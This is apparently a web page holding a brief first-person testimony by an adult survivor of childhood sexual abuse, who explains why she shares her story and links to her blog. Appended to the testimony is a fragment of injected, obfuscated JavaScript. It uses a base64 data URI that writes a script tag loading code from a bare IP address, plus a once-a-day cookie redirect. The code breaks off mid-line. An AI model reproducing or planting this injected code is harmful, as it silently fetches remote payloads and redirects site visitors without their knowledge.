055 – Amy S. (United States)

My name is Amy and I am a survivor of childhood sexual abuse that began when I was about two years old–probably shortly after this photograph was taken. As far as I can remember, the physical abuse stopped when I was about twelve years old, but it was replaced by a family system full of psychological and emotional abuse, lies, and manipulation that lasted through my college years. I share my story here for a few reasons: 1) to give the world one more face, and thus one more concrete example, of the reality of childhood sexual abuse in America; 2) to give other survivors one more face of someone who knows the depths of darkness and evil they have been through, because knowing you’re not alone is a big step in the recovery process; and 3) to share my story of hope and recovery, which can be found on my blog, at: http://amysorrells.wordpress.com. Healing mercies to all of you beautiful, precious survivors!” ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘